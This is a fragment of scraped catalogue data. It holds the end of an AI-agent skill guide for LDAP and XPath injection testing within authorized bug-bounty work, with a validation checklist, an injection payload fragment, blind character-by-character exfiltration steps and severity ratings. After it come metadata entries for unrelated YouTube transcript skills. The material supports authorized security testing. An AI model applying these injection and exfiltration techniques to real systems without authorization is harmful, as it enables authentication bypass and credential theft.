prefix (`$1$`=500, `$6$`=1800) → offline crack | High |\n| LDAP referral → Collaborator | Server-side request \u002F internal directory reach | SSRF-class, confirms blind |\n\n> AD has no readable password attribute — do not list \"extract AD hashes\" as a\n> chain. Against AD, the credential win comes from `description`\u002F`info` misuse or\n> from enumerated usernames feeding a spray, never from `unicodePwd`.\n\n---\n\n## Validation — rule out the false positive BEFORE you report\n\nA \"bypass\" or \"match\" is only real once you have eliminated syntax-error,\nWAF-block, and length-jitter explanations.\n\n- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated\n      session** (session cookie + access to a post-login resource), and the same\n      request with one paren removed returns a **filter-syntax error** — proving\n      the filter parsed and executed, not that the app fell open on every input.\n- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload\n      (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both\n      true-class and false-class \"succeed\", you found a broken endpoint, not LDAP\n      injection.\n- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the\n      FALSE control still reads FALSE between rounds; recovered value verified by\n      a direct lookup or by the auth-bypass payload that uses it.\n- [ ] **XPath:** quotes\u002Fbrackets remained balanced (no 500), and the bypass logged\n      in to a real account context — not just a different error page.\n- [ ] **OOB where possible:** a Collaborator DNS\u002FLDAP interaction from a referral\n      payload is decisive for blind cases — prefer it over length-only inference.\n- [ ] **AD claim discipline:** if you say \"AD\", you enumerated AD-specific attrs\n      (`sAMAccountName`\u002F`memberOf`); never claim AD hash exfil.\n\n**Severity:**\n- Auth bypass landing as admin\u002Fprivileged directory entry: **Critical**\n- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**\n- AD user\u002Fgroup enumeration only: **Medium-High**\n- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":31,"source":48,"license":14,"sources":49,"category":42,"date_added":50,"description":7,"source_repo":51,"source_type":36,"report_count":13,"compatibility":52,"license_source":53},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, owasp, portswigger","2026-09-20","elementalsouls\u002FClaude-BugHunter","Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. 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Configure identity-based access, micro-segmentation, and continuous verification. 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free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[151,154,157],{"categoryNo":152,"categoryName":153,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":158,"categoryName":159,"taxonomyType":160,"taxonomyTypeDesc":161},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[128,129,130,163,131,164,132,133,41,165,166,167,168,137,169,36,26,170,171,172],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":183,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[179,182],{"categoryNo":180,"categoryName":181,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},[130,184,185,108,131,186,187,188,189,41,167,190,191,192,193,26,194,140,195,196],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":204,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[203],{"categoryNo":152,"categoryName":153,"taxonomyType":20,"taxonomyTypeDesc":21},[205,130,206,207,131,164,165,208,209,166,167,168,137,210,169,36,26,170,211,143],"youtube full","full","google","server","dlp","credits","automatic"]